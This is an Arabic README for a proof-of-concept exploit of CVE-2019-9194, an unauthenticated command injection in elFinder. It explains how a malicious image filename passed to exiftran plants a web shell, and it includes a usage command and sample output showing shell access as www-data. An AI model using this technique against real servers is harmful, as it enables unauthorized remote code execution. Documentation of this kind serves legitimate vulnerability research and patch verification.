CVE-2019-9194 — ثغرة حقن أوامر في elFinder (PoC)

ثغرة حقن أوامر في elFinder <= 2.1.47 عبر مكون PHP المتصل. تسمح بتنفيذ تعليمات برمجية عن بُعد بدون مصادقة كمستخدم خادم الويب.

كيفية عملها

• ترفع ملف JPEG صالح مع اسم خبيث يحتوي على أمر شل.
• تُفعّل الثغرة بطلب تدوير الصورة، مما يمرر اسم الملف إلى exiftran دون تنقية.
• يكتب الأمر المحقون ويب شيل (SecSignal.php) على الخادم.
• يتصل بالويب شيل ويدخل إلى شل تفاعلي.

المتطلبات

• Python 3
• مكتبة requests (pip install requests)
• يجب أن يكون exiftran مثبتًا على الهدف وأن يكون مكون elFinder PHP مفعّلاً (connector.minimal.php)

الاستخدام

python3 exploit.py http://TARGET

مثال:

$ python3 exploit.py http://10.10.10.10/elFinder
[*] جارٍ رفع الصورة الخبيثة...
[*] تم رفع الملف، التجزئة: l1_U2VjU2lnbmFsLmpwZw
[*] جارٍ تفعيل حقن الأوامر عبر تدوير الصورة...
[*] جارٍ التحقق من وجود ويب شيل...
[+] تم الاختراق!
[+] شل تفاعلي (اضغط Ctrl+C للخروج)

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

المراجع

• CVE-2019-9194
• EDB-46481
• شرح الثغرة — SecSignal
• إصدار elFinder 2.1.48 (الإصلاح)

الإسناد

• الاكتشاف: Thomas Chauchefoin
• الاستغلال الأصلي: @q3rv0
• تحويل إلى Python 3 وتحسينات على نمط Metasploit: Esteban Zárate